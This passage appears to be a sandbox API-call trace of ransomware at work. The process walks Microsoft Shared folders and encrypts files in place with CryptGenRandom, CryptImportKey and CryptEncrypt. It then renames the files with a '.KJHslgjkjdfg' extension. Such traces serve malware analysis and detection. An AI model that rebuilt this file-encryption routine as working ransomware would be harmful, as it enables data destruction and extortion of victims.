ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0171.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.214] GetLastError () returned 0x5 [0171.214] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0171.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.214] GetLastError () returned 0x5 [0171.214] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0171.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.215] GetLastError () returned 0x5 [0171.215] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0171.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.216] GetLastError () returned 0x5 [0171.216] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0171.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.217] GetLastError () returned 0x5 [0171.217] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0171.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.217] GetLastError () returned 0x5 [0171.217] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0171.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.217] GetLastError () returned 0x5 [0171.217] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0171.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.218] GetLastError () returned 0x5 [0171.218] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0171.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.218] GetLastError () returned 0x5 [0171.218] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0171.219] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0171.220] GetProcessHeap () returned 0x2ef0000 [0171.220] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0171.220] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0171.220] GetProcessHeap () returned 0x2ef0000 [0171.220] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f123a0 [0171.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0171.220] GetProcessHeap () returned 0x2ef0000 [0171.220] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0171.220] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.220] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0171.220] GetProcessHeap () returned 0x2ef0000 [0171.220] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x282) returned 0x2f16e68 [0171.220] GetProcessHeap () returned 0x2ef0000 [0171.221] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8c) returned 0x2f425d0 [0171.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0171.221] GetProcessHeap () returned 0x2ef0000 [0171.221] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0171.221] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.221] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0171.221] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0171.221] GetProcessHeap () returned 0x2ef0000 [0171.221] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2ef0000) returned 1 [0171.221] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0171.221] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0171.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.222] GetProcessHeap () returned 0x2ef0000 [0171.222] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.222] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0171.222] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0171.225] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.225] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.225] GetProcessHeap () returned 0x2ef0000 [0171.225] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.225] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0171.225] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.225] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0171.225] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0171.225] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0171.225] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0171.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0171.226] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0171.226] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.226] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.226] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.226] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8f68, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8f68, lpOverlapped=0x0) returned 1 [0171.228] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8f70, dwBufLen=0x8f70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8f70) returned 1 [0171.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.228] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8f70, lpOverlapped=0x0) returned 1 [0171.228] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.229] SetEndOfFile (hFile=0xf0) returned 1 [0171.232] GetProcessHeap () returned 0x2ef0000 [0171.232] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.232] GetProcessHeap () returned 0x2ef0000 [0171.232] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.kjhslgjkjdfg")) returned 1 [0171.234] CloseHandle (hObject=0xf0) returned 1 [0171.237] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0171.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.238] GetProcessHeap () returned 0x2ef0000 [0171.238] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.238] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0171.239] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.239] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.239] GetProcessHeap () returned 0x2ef0000 [0171.239] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.239] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0171.239] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.239] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0171.241] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0171.242] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0171.242] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0171.242] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0171.242] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0171.242] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.242] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.242] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.242] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdfa0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xdfa0, lpOverlapped=0x0) returned 1 [0171.247] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdfa0, dwBufLen=0xdfa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdfa0) returned 1 [0171.248] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.248] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdfa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xdfa0, lpOverlapped=0x0) returned 1 [0171.248] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.248] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe074, lpNewFilePointer=0x0, dwMoveMethod=0x0 